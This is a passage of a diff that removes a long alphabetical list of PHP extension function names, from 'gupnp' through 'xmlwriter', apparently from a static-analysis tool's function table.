'gupnp_service_introspection_get_state_variable', - 'gupnp_service_notify', - 'gupnp_service_proxy_action_get', - 'gupnp_service_proxy_action_set', - 'gupnp_service_proxy_add_notify', - 'gupnp_service_proxy_callback_set', - 'gupnp_service_proxy_get_subscribed', - 'gupnp_service_proxy_remove_notify', - 'gupnp_service_proxy_send_action', - 'gupnp_service_proxy_set_subscribed', - 'gupnp_service_thaw_notify', - 'gzclose', - 'gzeof', - 'gzgetc', - 'gzgets', - 'gzgetss', - 'gzpassthru', - 'gzputs', - 'gzread', - 'gzrewind', - 'gzseek', - 'gztell', - 'gzwrite', - 'hash_update_stream', - 'http\Env\Response::send', - 'http_get_request_body_stream', - 'ibase_add_user', - 'ibase_affected_rows', - 'ibase_backup', - 'ibase_blob_add', - 'ibase_blob_cancel', - 'ibase_blob_close', - 'ibase_blob_create', - 'ibase_blob_get', - 'ibase_blob_open', - 'ibase_close', - 'ibase_commit', - 'ibase_commit_ret', - 'ibase_connect', - 'ibase_db_info', - 'ibase_delete_user', - 'ibase_drop_db', - 'ibase_execute', - 'ibase_fetch_assoc', - 'ibase_fetch_object', - 'ibase_fetch_row', - 'ibase_field_info', - 'ibase_free_event_handler', - 'ibase_free_query', - 'ibase_free_result', - 'ibase_gen_id', - 'ibase_maintain_db', - 'ibase_modify_user', - 'ibase_name_result', - 'ibase_num_fields', - 'ibase_num_params', - 'ibase_param_info', - 'ibase_pconnect', - 'ibase_prepare', - 'ibase_query', - 'ibase_restore', - 'ibase_rollback', - 'ibase_rollback_ret', - 'ibase_server_info', - 'ibase_service_attach', - 'ibase_service_detach', - 'ibase_set_event_handler', - 'ibase_trans', - 'ifx_affected_rows', - 'ifx_close', - 'ifx_connect', - 'ifx_do', - 'ifx_error', - 'ifx_fetch_row', - 'ifx_fieldproperties', - 'ifx_fieldtypes', - 'ifx_free_result', - 'ifx_getsqlca', - 'ifx_htmltbl_result', - 'ifx_num_fields', - 'ifx_num_rows', - 'ifx_pconnect', - 'ifx_prepare', - 'ifx_query', - 'image2wbmp', - 'imageaffine', - 'imagealphablending', - 'imageantialias', - 'imagearc', - 'imagebmp', - 'imagechar', - 'imagecharup', - 'imagecolorallocate', - 'imagecolorallocatealpha', - 'imagecolorat', - 'imagecolorclosest', - 'imagecolorclosestalpha', - 'imagecolorclosesthwb', - 'imagecolordeallocate', - 'imagecolorexact', - 'imagecolorexactalpha', - 'imagecolormatch', - 'imagecolorresolve', - 'imagecolorresolvealpha', - 'imagecolorset', - 'imagecolorsforindex', - 'imagecolorstotal', - 'imagecolortransparent', - 'imageconvolution', - 'imagecopy', - 'imagecopymerge', - 'imagecopymergegray', - 'imagecopyresampled', - 'imagecopyresized', - 'imagecrop', - 'imagecropauto', - 'imagedashedline', - 'imagedestroy', - 'imageellipse', - 'imagefill', - 'imagefilledarc', - 'imagefilledellipse', - 'imagefilledpolygon', - 'imagefilledrectangle', - 'imagefilltoborder', - 'imagefilter', - 'imageflip', - 'imagefttext', - 'imagegammacorrect', - 'imagegd', - 'imagegd2', - 'imagegetclip', - 'imagegif', - 'imagegrabscreen', - 'imagegrabwindow', - 'imageinterlace', - 'imageistruecolor', - 'imagejpeg', - 'imagelayereffect', - 'imageline', - 'imageopenpolygon', - 'imagepalettecopy', - 'imagepalettetotruecolor', - 'imagepng', - 'imagepolygon', - 'imagepsencodefont', - 'imagepsextendfont', - 'imagepsfreefont', - 'imagepsloadfont', - 'imagepsslantfont', - 'imagepstext', - 'imagerectangle', - 'imageresolution', - 'imagerotate', - 'imagesavealpha', - 'imagescale', - 'imagesetbrush', - 'imagesetclip', - 'imagesetinterpolation', - 'imagesetpixel', - 'imagesetstyle', - 'imagesetthickness', - 'imagesettile', - 'imagestring', - 'imagestringup', - 'imagesx', - 'imagesy', - 'imagetruecolortopalette', - 'imagettftext', - 'imagewbmp', - 'imagewebp', - 'imagexbm', - 'imap_append', - 'imap_body', - 'imap_bodystruct', - 'imap_check', - 'imap_clearflag_full', - 'imap_close', - 'imap_create', - 'imap_createmailbox', - 'imap_delete', - 'imap_deletemailbox', - 'imap_expunge', - 'imap_fetch_overview', - 'imap_fetchbody', - 'imap_fetchheader', - 'imap_fetchmime', - 'imap_fetchstructure', - 'imap_fetchtext', - 'imap_gc', - 'imap_get_quota', - 'imap_get_quotaroot', - 'imap_getacl', - 'imap_getmailboxes', - 'imap_getsubscribed', - 'imap_header', - 'imap_headerinfo', - 'imap_headers', - 'imap_list', - 'imap_listmailbox', - 'imap_listscan', - 'imap_listsubscribed', - 'imap_lsub', - 'imap_mail_copy', - 'imap_mail_move', - 'imap_mailboxmsginfo', - 'imap_msgno', - 'imap_num_msg', - 'imap_num_recent', - 'imap_ping', - 'imap_rename', - 'imap_renamemailbox', - 'imap_reopen', - 'imap_savebody', - 'imap_scan', - 'imap_scanmailbox', - 'imap_search', - 'imap_set_quota', - 'imap_setacl', - 'imap_setflag_full', - 'imap_sort', - 'imap_status', - 'imap_subscribe', - 'imap_thread', - 'imap_uid', - 'imap_undelete', - 'imap_unsubscribe', - 'inflate_add', - 'inflate_get_read_len', - 'inflate_get_status', - 'ingres_autocommit', - 'ingres_autocommit_state', - 'ingres_charset', - 'ingres_close', - 'ingres_commit', - 'ingres_connect', - 'ingres_cursor', - 'ingres_errno', - 'ingres_error', - 'ingres_errsqlstate', - 'ingres_escape_string', - 'ingres_execute', - 'ingres_fetch_array', - 'ingres_fetch_assoc', - 'ingres_fetch_object', - 'ingres_fetch_proc_return', - 'ingres_fetch_row', - 'ingres_field_length', - 'ingres_field_name', - 'ingres_field_nullable', - 'ingres_field_precision', - 'ingres_field_scale', - 'ingres_field_type', - 'ingres_free_result', - 'ingres_next_error', - 'ingres_num_fields', - 'ingres_num_rows', - 'ingres_pconnect', - 'ingres_prepare', - 'ingres_query', - 'ingres_result_seek', - 'ingres_rollback', - 'ingres_set_environment', - 'ingres_unbuffered_query', - 'inotify_add_watch', - 'inotify_init', - 'inotify_queue_len', - 'inotify_read', - 'inotify_rm_watch', - 'kadm5_chpass_principal', - 'kadm5_create_principal', - 'kadm5_delete_principal', - 'kadm5_destroy', - 'kadm5_flush', - 'kadm5_get_policies', - 'kadm5_get_principal', - 'kadm5_get_principals', - 'kadm5_init_with_password', - 'kadm5_modify_principal', - 'ldap_add', - 'ldap_bind', - 'ldap_close', - 'ldap_compare', - 'ldap_control_paged_result', - 'ldap_control_paged_result_response', - 'ldap_count_entries', - 'ldap_delete', - 'ldap_errno', - 'ldap_error', - 'ldap_exop', - 'ldap_exop_passwd', - 'ldap_exop_refresh', - 'ldap_exop_whoami', - 'ldap_first_attribute', - 'ldap_first_entry', - 'ldap_first_reference', - 'ldap_free_result', - 'ldap_get_attributes', - 'ldap_get_dn', - 'ldap_get_entries', - 'ldap_get_option', - 'ldap_get_values', - 'ldap_get_values_len', - 'ldap_mod_add', - 'ldap_mod_del', - 'ldap_mod_replace', - 'ldap_modify', - 'ldap_modify_batch', - 'ldap_next_attribute', - 'ldap_next_entry', - 'ldap_next_reference', - 'ldap_parse_exop', - 'ldap_parse_reference', - 'ldap_parse_result', - 'ldap_rename', - 'ldap_sasl_bind', - 'ldap_set_option', - 'ldap_set_rebind_proc', - 'ldap_sort', - 'ldap_start_tls', - 'ldap_unbind', - 'libxml_set_streams_context', - 'm_checkstatus', - 'm_completeauthorizations', - 'm_connect', - 'm_connectionerror', - 'm_deletetrans', - 'm_destroyconn', - 'm_getcell', - 'm_getcellbynum', - 'm_getcommadelimited', - 'm_getheader', - 'm_initconn', - 'm_iscommadelimited', - 'm_maxconntimeout', - 'm_monitor', - 'm_numcolumns', - 'm_numrows', - 'm_parsecommadelimited', - 'm_responsekeys', - 'm_responseparam', - 'm_returnstatus', - 'm_setblocking', - 'm_setdropfile', - 'm_setip', - 'm_setssl', - 'm_setssl_cafile', - 'm_setssl_files', - 'm_settimeout', - 'm_transactionssent', - 'm_transinqueue', - 'm_transkeyval', - 'm_transnew', - 'm_transsend', - 'm_validateidentifier', - 'm_verifyconnection', - 'm_verifysslcert', - 'mailparse_determine_best_xfer_encoding', - 'mailparse_msg_create', - 'mailparse_msg_extract_part', - 'mailparse_msg_extract_part_file', - 'mailparse_msg_extract_whole_part_file', - 'mailparse_msg_free', - 'mailparse_msg_get_part', - 'mailparse_msg_get_part_data', - 'mailparse_msg_get_structure', - 'mailparse_msg_parse', - 'mailparse_msg_parse_file', - 'mailparse_stream_encode', - 'mailparse_uudecode_all', - 'maxdb::use_result', - 'maxdb_affected_rows', - 'maxdb_connect', - 'maxdb_disable_rpl_parse', - 'maxdb_dump_debug_info', - 'maxdb_embedded_connect', - 'maxdb_enable_reads_from_master', - 'maxdb_enable_rpl_parse', - 'maxdb_errno', - 'maxdb_error', - 'maxdb_fetch_lengths', - 'maxdb_field_tell', - 'maxdb_get_host_info', - 'maxdb_get_proto_info', - 'maxdb_get_server_info', - 'maxdb_get_server_version', - 'maxdb_info', - 'maxdb_init', - 'maxdb_insert_id', - 'maxdb_master_query', - 'maxdb_more_results', - 'maxdb_next_result', - 'maxdb_num_fields', - 'maxdb_num_rows', - 'maxdb_rpl_parse_enabled', - 'maxdb_rpl_probe', - 'maxdb_select_db', - 'maxdb_sqlstate', - 'maxdb_stmt::result_metadata', - 'maxdb_stmt_affected_rows', - 'maxdb_stmt_errno', - 'maxdb_stmt_error', - 'maxdb_stmt_num_rows', - 'maxdb_stmt_param_count', - 'maxdb_stmt_result_metadata', - 'maxdb_stmt_sqlstate', - 'maxdb_thread_id', - 'maxdb_use_result', - 'maxdb_warning_count', - 'mcrypt_enc_get_algorithms_name', - 'mcrypt_enc_get_block_size', - 'mcrypt_enc_get_iv_size', - 'mcrypt_enc_get_key_size', - 'mcrypt_enc_get_modes_name', - 'mcrypt_enc_get_supported_key_sizes', - 'mcrypt_enc_is_block_algorithm', - 'mcrypt_enc_is_block_algorithm_mode', - 'mcrypt_enc_is_block_mode', - 'mcrypt_enc_self_test', - 'mcrypt_generic', - 'mcrypt_generic_deinit', - 'mcrypt_generic_end', - 'mcrypt_generic_init', - 'mcrypt_module_close', - 'mcrypt_module_open', - 'mdecrypt_generic', - 'mkdir', - 'mqseries_back', - 'mqseries_begin', - 'mqseries_close', - 'mqseries_cmit', - 'mqseries_conn', - 'mqseries_connx', - 'mqseries_disc', - 'mqseries_get', - 'mqseries_inq', - 'mqseries_open', - 'mqseries_put', - 'mqseries_put1', - 'mqseries_set', - 'msg_get_queue', - 'msg_receive', - 'msg_remove_queue', - 'msg_send', - 'msg_set_queue', - 'msg_stat_queue', - 'msql_affected_rows', - 'msql_close', - 'msql_connect', - 'msql_create_db', - 'msql_data_seek', - 'msql_db_query', - 'msql_drop_db', - 'msql_fetch_array', - 'msql_fetch_field', - 'msql_fetch_object', - 'msql_fetch_row', - 'msql_field_flags', - 'msql_field_len', - 'msql_field_name', - 'msql_field_seek', - 'msql_field_table', - 'msql_field_type', - 'msql_free_result', - 'msql_list_dbs', - 'msql_list_fields', - 'msql_list_tables', - 'msql_num_fields', - 'msql_num_rows', - 'msql_pconnect', - 'msql_query', - 'msql_result', - 'msql_select_db', - 'mssql_bind', - 'mssql_close', - 'mssql_connect', - 'mssql_data_seek', - 'mssql_execute', - 'mssql_fetch_array', - 'mssql_fetch_assoc', - 'mssql_fetch_batch', - 'mssql_fetch_field', - 'mssql_fetch_object', - 'mssql_fetch_row', - 'mssql_field_length', - 'mssql_field_name', - 'mssql_field_seek', - 'mssql_field_type', - 'mssql_free_result', - 'mssql_free_statement', - 'mssql_init', - 'mssql_next_result', - 'mssql_num_fields', - 'mssql_num_rows', - 'mssql_pconnect', - 'mssql_query', - 'mssql_result', - 'mssql_rows_affected', - 'mssql_select_db', - 'mysql_affected_rows', - 'mysql_client_encoding', - 'mysql_close', - 'mysql_connect', - 'mysql_create_db', - 'mysql_data_seek', - 'mysql_db_name', - 'mysql_db_query', - 'mysql_drop_db', - 'mysql_errno', - 'mysql_error', - 'mysql_fetch_array', - 'mysql_fetch_assoc', - 'mysql_fetch_field', - 'mysql_fetch_lengths', - 'mysql_fetch_object', - 'mysql_fetch_row', - 'mysql_field_flags', - 'mysql_field_len', - 'mysql_field_name', - 'mysql_field_seek', - 'mysql_field_table', - 'mysql_field_type', - 'mysql_free_result', - 'mysql_get_host_info', - 'mysql_get_proto_info', - 'mysql_get_server_info', - 'mysql_info', - 'mysql_insert_id', - 'mysql_list_dbs', - 'mysql_list_fields', - 'mysql_list_processes', - 'mysql_list_tables', - 'mysql_num_fields', - 'mysql_num_rows', - 'mysql_pconnect', - 'mysql_ping', - 'mysql_query', - 'mysql_real_escape_string', - 'mysql_result', - 'mysql_select_db', - 'mysql_set_charset', - 'mysql_stat', - 'mysql_tablename', - 'mysql_thread_id', - 'mysql_unbuffered_query', - 'mysqlnd_uh_convert_to_mysqlnd', - 'ncurses_bottom_panel', - 'ncurses_del_panel', - 'ncurses_delwin', - 'ncurses_getmaxyx', - 'ncurses_getyx', - 'ncurses_hide_panel', - 'ncurses_keypad', - 'ncurses_meta', - 'ncurses_move_panel', - 'ncurses_mvwaddstr', - 'ncurses_new_panel', - 'ncurses_newpad', - 'ncurses_newwin', - 'ncurses_panel_above', - 'ncurses_panel_below', - 'ncurses_panel_window', - 'ncurses_pnoutrefresh', - 'ncurses_prefresh', - 'ncurses_replace_panel', - 'ncurses_show_panel', - 'ncurses_top_panel', - 'ncurses_waddch', - 'ncurses_waddstr', - 'ncurses_wattroff', - 'ncurses_wattron', - 'ncurses_wattrset', - 'ncurses_wborder', - 'ncurses_wclear', - 'ncurses_wcolor_set', - 'ncurses_werase', - 'ncurses_wgetch', - 'ncurses_whline', - 'ncurses_wmouse_trafo', - 'ncurses_wmove', - 'ncurses_wnoutrefresh', - 'ncurses_wrefresh', - 'ncurses_wstandend', - 'ncurses_wstandout', - 'ncurses_wvline', - 'newt_button', - 'newt_button_bar', - 'newt_checkbox', - 'newt_checkbox_get_value', - 'newt_checkbox_set_flags', - 'newt_checkbox_set_value', - 'newt_checkbox_tree', - 'newt_checkbox_tree_add_item', - 'newt_checkbox_tree_find_item', - 'newt_checkbox_tree_get_current', - 'newt_checkbox_tree_get_entry_value', - 'newt_checkbox_tree_get_multi_selection', - 'newt_checkbox_tree_get_selection', - 'newt_checkbox_tree_multi', - 'newt_checkbox_tree_set_current', - 'newt_checkbox_tree_set_entry', - 'newt_checkbox_tree_set_entry_value', - 'newt_checkbox_tree_set_width', - 'newt_compact_button', - 'newt_component_add_callback', - 'newt_component_takes_focus', - 'newt_create_grid', - 'newt_draw_form', - 'newt_entry', - 'newt_entry_get_value', - 'newt_entry_set', - 'newt_entry_set_filter', - 'newt_entry_set_flags', - 'newt_form', - 'newt_form_add_component', - 'newt_form_add_components', - 'newt_form_add_hot_key', - 'newt_form_destroy', - 'newt_form_get_current', - 'newt_form_run', - 'newt_form_set_background', - 'newt_form_set_height', - 'newt_form_set_size', - 'newt_form_set_timer', - 'newt_form_set_width', - 'newt_form_watch_fd', - 'newt_grid_add_components_to_form', - 'newt_grid_basic_window', - 'newt_grid_free', - 'newt_grid_get_size', - 'newt_grid_h_close_stacked', - 'newt_grid_h_stacked', - 'newt_grid_place', - 'newt_grid_set_field', - 'newt_grid_simple_window', - 'newt_grid_v_close_stacked', - 'newt_grid_v_stacked', - 'newt_grid_wrapped_window', - 'newt_grid_wrapped_window_at', - 'newt_label', - 'newt_label_set_text', - 'newt_listbox', - 'newt_listbox_append_entry', - 'newt_listbox_clear', - 'newt_listbox_clear_selection', - 'newt_listbox_delete_entry', - 'newt_listbox_get_current', - 'newt_listbox_get_selection', - 'newt_listbox_insert_entry', - 'newt_listbox_item_count', - 'newt_listbox_select_item', - 'newt_listbox_set_current', - 'newt_listbox_set_current_by_key', - 'newt_listbox_set_data', - 'newt_listbox_set_entry', - 'newt_listbox_set_width', - 'newt_listitem', - 'newt_listitem_get_data', - 'newt_listitem_set', - 'newt_radio_get_current', - 'newt_radiobutton', - 'newt_run_form', - 'newt_scale', - 'newt_scale_set', - 'newt_scrollbar_set', - 'newt_textbox', - 'newt_textbox_get_num_lines', - 'newt_textbox_reflowed', - 'newt_textbox_set_height', - 'newt_textbox_set_text', - 'newt_vertical_scrollbar', - 'oci_bind_array_by_name', - 'oci_bind_by_name', - 'oci_cancel', - 'oci_close', - 'oci_commit', - 'oci_connect', - 'oci_define_by_name', - 'oci_error', - 'oci_execute', - 'oci_fetch', - 'oci_fetch_all', - 'oci_fetch_array', - 'oci_fetch_assoc', - 'oci_fetch_object', - 'oci_fetch_row', - 'oci_field_is_null', - 'oci_field_name', - 'oci_field_precision', - 'oci_field_scale', - 'oci_field_size', - 'oci_field_type', - 'oci_field_type_raw', - 'oci_free_cursor', - 'oci_free_statement', - 'oci_get_implicit_resultset', - 'oci_new_collection', - 'oci_new_connect', - 'oci_new_cursor', - 'oci_new_descriptor', - 'oci_num_fields', - 'oci_num_rows', - 'oci_parse', - 'oci_pconnect', - 'oci_register_taf_callback', - 'oci_result', - 'oci_rollback', - 'oci_server_version', - 'oci_set_action', - 'oci_set_client_identifier', - 'oci_set_client_info', - 'oci_set_module_name', - 'oci_set_prefetch', - 'oci_statement_type', - 'oci_unregister_taf_callback', - 'odbc_autocommit', - 'odbc_close', - 'odbc_columnprivileges', - 'odbc_columns', - 'odbc_commit', - 'odbc_connect', - 'odbc_cursor', - 'odbc_data_source', - 'odbc_do', - 'odbc_error', - 'odbc_errormsg', - 'odbc_exec', - 'odbc_execute', - 'odbc_fetch_array', - 'odbc_fetch_into', - 'odbc_fetch_row', - 'odbc_field_len', - 'odbc_field_name', - 'odbc_field_num', - 'odbc_field_precision', - 'odbc_field_scale', - 'odbc_field_type', - 'odbc_foreignkeys', - 'odbc_free_result', - 'odbc_gettypeinfo', - 'odbc_next_result', - 'odbc_num_fields', - 'odbc_num_rows', - 'odbc_pconnect', - 'odbc_prepare', - 'odbc_primarykeys', - 'odbc_procedurecolumns', - 'odbc_procedures', - 'odbc_result', - 'odbc_result_all', - 'odbc_rollback', - 'odbc_setoption', - 'odbc_specialcolumns', - 'odbc_statistics', - 'odbc_tableprivileges', - 'odbc_tables', - 'openal_buffer_create', - 'openal_buffer_data', - 'openal_buffer_destroy', - 'openal_buffer_get', - 'openal_buffer_loadwav', - 'openal_context_create', - 'openal_context_current', - 'openal_context_destroy', - 'openal_context_process', - 'openal_context_suspend', - 'openal_device_close', - 'openal_device_open', - 'openal_source_create', - 'openal_source_destroy', - 'openal_source_get', - 'openal_source_pause', - 'openal_source_play', - 'openal_source_rewind', - 'openal_source_set', - 'openal_source_stop', - 'openal_stream', - 'opendir', - 'openssl_csr_new', - 'openssl_dh_compute_key', - 'openssl_free_key', - 'openssl_pkey_export', - 'openssl_pkey_free', - 'openssl_pkey_get_details', - 'openssl_spki_new', - 'openssl_x509_free', - 'pclose', - 'pfsockopen', - 'pg_affected_rows', - 'pg_cancel_query', - 'pg_client_encoding', - 'pg_close', - 'pg_connect_poll', - 'pg_connection_busy', - 'pg_connection_reset', - 'pg_connection_status', - 'pg_consume_input', - 'pg_convert', - 'pg_copy_from', - 'pg_copy_to', - 'pg_dbname', - 'pg_delete', - 'pg_end_copy', - 'pg_escape_bytea', - 'pg_escape_identifier', - 'pg_escape_literal', - 'pg_escape_string', - 'pg_execute', - 'pg_fetch_all', - 'pg_fetch_all_columns', - 'pg_fetch_array', - 'pg_fetch_assoc', - 'pg_fetch_row', - 'pg_field_name', - 'pg_field_num', - 'pg_field_size', - 'pg_field_table', - 'pg_field_type', - 'pg_field_type_oid', - 'pg_flush', - 'pg_free_result', - 'pg_get_notify', - 'pg_get_pid', - 'pg_get_result', - 'pg_host', - 'pg_insert', - 'pg_last_error', - 'pg_last_notice', - 'pg_last_oid', - 'pg_lo_close', - 'pg_lo_create', - 'pg_lo_export', - 'pg_lo_import', - 'pg_lo_open', - 'pg_lo_read', - 'pg_lo_read_all', - 'pg_lo_seek', - 'pg_lo_tell', - 'pg_lo_truncate', - 'pg_lo_unlink', - 'pg_lo_write', - 'pg_meta_data', - 'pg_num_fields', - 'pg_num_rows', - 'pg_options', - 'pg_parameter_status', - 'pg_ping', - 'pg_port', - 'pg_prepare', - 'pg_put_line', - 'pg_query', - 'pg_query_params', - 'pg_result_error', - 'pg_result_error_field', - 'pg_result_seek', - 'pg_result_status', - 'pg_select', - 'pg_send_execute', - 'pg_send_prepare', - 'pg_send_query', - 'pg_send_query_params', - 'pg_set_client_encoding', - 'pg_set_error_verbosity', - 'pg_socket', - 'pg_trace', - 'pg_transaction_status', - 'pg_tty', - 'pg_untrace', - 'pg_update', - 'pg_version', - 'php_user_filter::filter', - 'proc_close', - 'proc_get_status', - 'proc_terminate', - 'ps_add_bookmark', - 'ps_add_launchlink', - 'ps_add_locallink', - 'ps_add_note', - 'ps_add_pdflink', - 'ps_add_weblink', - 'ps_arc', - 'ps_arcn', - 'ps_begin_page', - 'ps_begin_pattern', - 'ps_begin_template', - 'ps_circle', - 'ps_clip', - 'ps_close', - 'ps_close_image', - 'ps_closepath', - 'ps_closepath_stroke', - 'ps_continue_text', - 'ps_curveto', - 'ps_delete', - 'ps_end_page', - 'ps_end_pattern', - 'ps_end_template', - 'ps_fill', - 'ps_fill_stroke', - 'ps_findfont', - 'ps_get_buffer', - 'ps_get_parameter', - 'ps_get_value', - 'ps_hyphenate', - 'ps_include_file', - 'ps_lineto', - 'ps_makespotcolor', - 'ps_moveto', - 'ps_new', - 'ps_open_file', - 'ps_open_image', - 'ps_open_image_file', - 'ps_open_memory_image', - 'ps_place_image', - 'ps_rect', - 'ps_restore', - 'ps_rotate', - 'ps_save', - 'ps_scale', - 'ps_set_border_color', - 'ps_set_border_dash', - 'ps_set_border_style', - 'ps_set_info', - 'ps_set_parameter', - 'ps_set_text_pos', - 'ps_set_value', - 'ps_setcolor', - 'ps_setdash', - 'ps_setflat', - 'ps_setfont', - 'ps_setgray', - 'ps_setlinecap', - 'ps_setlinejoin', - 'ps_setlinewidth', - 'ps_setmiterlimit', - 'ps_setoverprintmode', - 'ps_setpolydash', - 'ps_shading', - 'ps_shading_pattern', - 'ps_shfill', - 'ps_show', - 'ps_show2', - 'ps_show_boxed', - 'ps_show_xy', - 'ps_show_xy2', - 'ps_string_geometry', - 'ps_stringwidth', - 'ps_stroke', - 'ps_symbol', - 'ps_symbol_name', - 'ps_symbol_width', - 'ps_translate', - 'px_close', - 'px_create_fp', - 'px_date2string', - 'px_delete', - 'px_delete_record', - 'px_get_field', - 'px_get_info', - 'px_get_parameter', - 'px_get_record', - 'px_get_schema', - 'px_get_value', - 'px_insert_record', - 'px_new', - 'px_numfields', - 'px_numrecords', - 'px_open_fp', - 'px_put_record', - 'px_retrieve_record', - 'px_set_blob_file', - 'px_set_parameter', - 'px_set_tablename', - 'px_set_targetencoding', - 'px_set_value', - 'px_timestamp2string', - 'px_update_record', - 'radius_acct_open', - 'radius_add_server', - 'radius_auth_open', - 'radius_close', - 'radius_config', - 'radius_create_request', - 'radius_demangle', - 'radius_demangle_mppe_key', - 'radius_get_attr', - 'radius_put_addr', - 'radius_put_attr', - 'radius_put_int', - 'radius_put_string', - 'radius_put_vendor_addr', - 'radius_put_vendor_attr', - 'radius_put_vendor_int', - 'radius_put_vendor_string', - 'radius_request_authenticator', - 'radius_salt_encrypt_attr', - 'radius_send_request', - 'radius_server_secret', - 'radius_strerror', - 'readdir', - 'readfile', - 'recode_file', - 'rename', - 'rewind', - 'rewinddir', - 'rmdir', - 'rpm_close', - 'rpm_get_tag', - 'rpm_open', - 'sapi_windows_vt100_support', - 'scandir', - 'sem_acquire', - 'sem_get', - 'sem_release', - 'sem_remove', - 'set_file_buffer', - 'shm_attach', - 'shm_detach', - 'shm_get_var', - 'shm_has_var', - 'shm_put_var', - 'shm_remove', - 'shm_remove_var', - 'shmop_close', - 'shmop_delete', - 'shmop_open', - 'shmop_read', - 'shmop_size', - 'shmop_write', - 'socket_accept', - 'socket_addrinfo_bind', - 'socket_addrinfo_connect', - 'socket_addrinfo_explain', - 'socket_bind', - 'socket_clear_error', - 'socket_close', - 'socket_connect', - 'socket_export_stream', - 'socket_get_option', - 'socket_get_status', - 'socket_getopt', - 'socket_getpeername', - 'socket_getsockname', - 'socket_import_stream', - 'socket_last_error', - 'socket_listen', - 'socket_read', - 'socket_recv', - 'socket_recvfrom', - 'socket_recvmsg', - 'socket_send', - 'socket_sendmsg', - 'socket_sendto', - 'socket_set_block', - 'socket_set_blocking', - 'socket_set_nonblock', - 'socket_set_option', - 'socket_set_timeout', - 'socket_shutdown', - 'socket_write', - 'sqlite_close', - 'sqlite_fetch_string', - 'sqlite_has_more', - 'sqlite_open', - 'sqlite_popen', - 'sqlsrv_begin_transaction', - 'sqlsrv_cancel', - 'sqlsrv_client_info', - 'sqlsrv_close', - 'sqlsrv_commit', - 'sqlsrv_connect', - 'sqlsrv_execute', - 'sqlsrv_fetch', - 'sqlsrv_fetch_array', - 'sqlsrv_fetch_object', - 'sqlsrv_field_metadata', - 'sqlsrv_free_stmt', - 'sqlsrv_get_field', - 'sqlsrv_has_rows', - 'sqlsrv_next_result', - 'sqlsrv_num_fields', - 'sqlsrv_num_rows', - 'sqlsrv_prepare', - 'sqlsrv_query', - 'sqlsrv_rollback', - 'sqlsrv_rows_affected', - 'sqlsrv_send_stream_data', - 'sqlsrv_server_info', - 'ssh2_auth_agent', - 'ssh2_auth_hostbased_file', - 'ssh2_auth_none', - 'ssh2_auth_password', - 'ssh2_auth_pubkey_file', - 'ssh2_disconnect', - 'ssh2_exec', - 'ssh2_fetch_stream', - 'ssh2_fingerprint', - 'ssh2_methods_negotiated', - 'ssh2_publickey_add', - 'ssh2_publickey_init', - 'ssh2_publickey_list', - 'ssh2_publickey_remove', - 'ssh2_scp_recv', - 'ssh2_scp_send', - 'ssh2_sftp', - 'ssh2_sftp_chmod', - 'ssh2_sftp_lstat', - 'ssh2_sftp_mkdir', - 'ssh2_sftp_readlink', - 'ssh2_sftp_realpath', - 'ssh2_sftp_rename', - 'ssh2_sftp_rmdir', - 'ssh2_sftp_stat', - 'ssh2_sftp_symlink', - 'ssh2_sftp_unlink', - 'ssh2_shell', - 'ssh2_tunnel', - 'stomp_connect', - 'streamWrapper::stream_cast', - 'stream_bucket_append', - 'stream_bucket_make_writeable', - 'stream_bucket_new', - 'stream_bucket_prepend', - 'stream_context_create', - 'stream_context_get_default', - 'stream_context_get_options', - 'stream_context_get_params', - 'stream_context_set_default', - 'stream_context_set_params', - 'stream_copy_to_stream', - 'stream_encoding', - 'stream_filter_append', - 'stream_filter_prepend', - 'stream_filter_remove', - 'stream_get_contents', - 'stream_get_line', - 'stream_get_meta_data', - 'stream_isatty', - 'stream_set_blocking', - 'stream_set_chunk_size', - 'stream_set_read_buffer', - 'stream_set_timeout', - 'stream_set_write_buffer', - 'stream_socket_accept', - 'stream_socket_client', - 'stream_socket_enable_crypto', - 'stream_socket_get_name', - 'stream_socket_recvfrom', - 'stream_socket_sendto', - 'stream_socket_server', - 'stream_socket_shutdown', - 'stream_supports_lock', - 'svn_fs_abort_txn', - 'svn_fs_apply_text', - 'svn_fs_begin_txn2', - 'svn_fs_change_node_prop', - 'svn_fs_check_path', - 'svn_fs_contents_changed', - 'svn_fs_copy', - 'svn_fs_delete', - 'svn_fs_dir_entries', - 'svn_fs_file_contents', - 'svn_fs_file_length', - 'svn_fs_is_dir', - 'svn_fs_is_file', - 'svn_fs_make_dir', - 'svn_fs_make_file', - 'svn_fs_node_created_rev', - 'svn_fs_node_prop', - 'svn_fs_props_changed', - 'svn_fs_revision_prop', - 'svn_fs_revision_root', - 'svn_fs_txn_root', - 'svn_fs_youngest_rev', - 'svn_repos_create', - 'svn_repos_fs', - 'svn_repos_fs_begin_txn_for_commit', - 'svn_repos_fs_commit_txn', - 'svn_repos_open', - 'sybase_affected_rows', - 'sybase_close', - 'sybase_connect', - 'sybase_data_seek', - 'sybase_fetch_array', - 'sybase_fetch_assoc', - 'sybase_fetch_field', - 'sybase_fetch_object', - 'sybase_fetch_row', - 'sybase_field_seek', - 'sybase_free_result', - 'sybase_num_fields', - 'sybase_num_rows', - 'sybase_pconnect', - 'sybase_query', - 'sybase_result', - 'sybase_select_db', - 'sybase_set_message_handler', - 'sybase_unbuffered_query', - 'tmpfile', - 'udm_add_search_limit', - 'udm_alloc_agent', - 'udm_alloc_agent_array', - 'udm_cat_list', - 'udm_cat_path', - 'udm_check_charset', - 'udm_clear_search_limits', - 'udm_crc32', - 'udm_errno', - 'udm_error', - 'udm_find', - 'udm_free_agent', - 'udm_free_res', - 'udm_get_doc_count', - 'udm_get_res_field', - 'udm_get_res_param', - 'udm_hash32', - 'udm_load_ispell_data', - 'udm_set_agent_param', - 'unlink', - 'vfprintf', - 'w32api_init_dtype', - 'wddx_add_vars', - 'wddx_packet_end', - 'wddx_packet_start', - 'xml_get_current_byte_index', - 'xml_get_current_column_number', - 'xml_get_current_line_number', - 'xml_get_error_code', - 'xml_parse', - 'xml_parse_into_struct', - 'xml_parser_create', - 'xml_parser_create_ns', - 'xml_parser_free', - 'xml_parser_get_option', - 'xml_parser_set_option', - 'xml_set_character_data_handler', - 'xml_set_default_handler', - 'xml_set_element_handler', - 'xml_set_end_namespace_decl_handler', - 'xml_set_external_entity_ref_handler', - 'xml_set_notation_decl_handler', - 'xml_set_object', - 'xml_set_processing_instruction_handler', - 'xml_set_start_namespace_decl_handler', - 'xml_set_unparsed_entity_decl_handler', - 'xmlrpc_server_add_introspection_data', - 'xmlrpc_server_call_method', - 'xmlrpc_server_create', - 'xmlrpc_server_destroy', - 'xmlrpc_server_register_introspection_callback', - 'xmlrpc_server_register_method', - 'xmlwriter_end_attribute', - 'xmlwriter_end_cdata', - 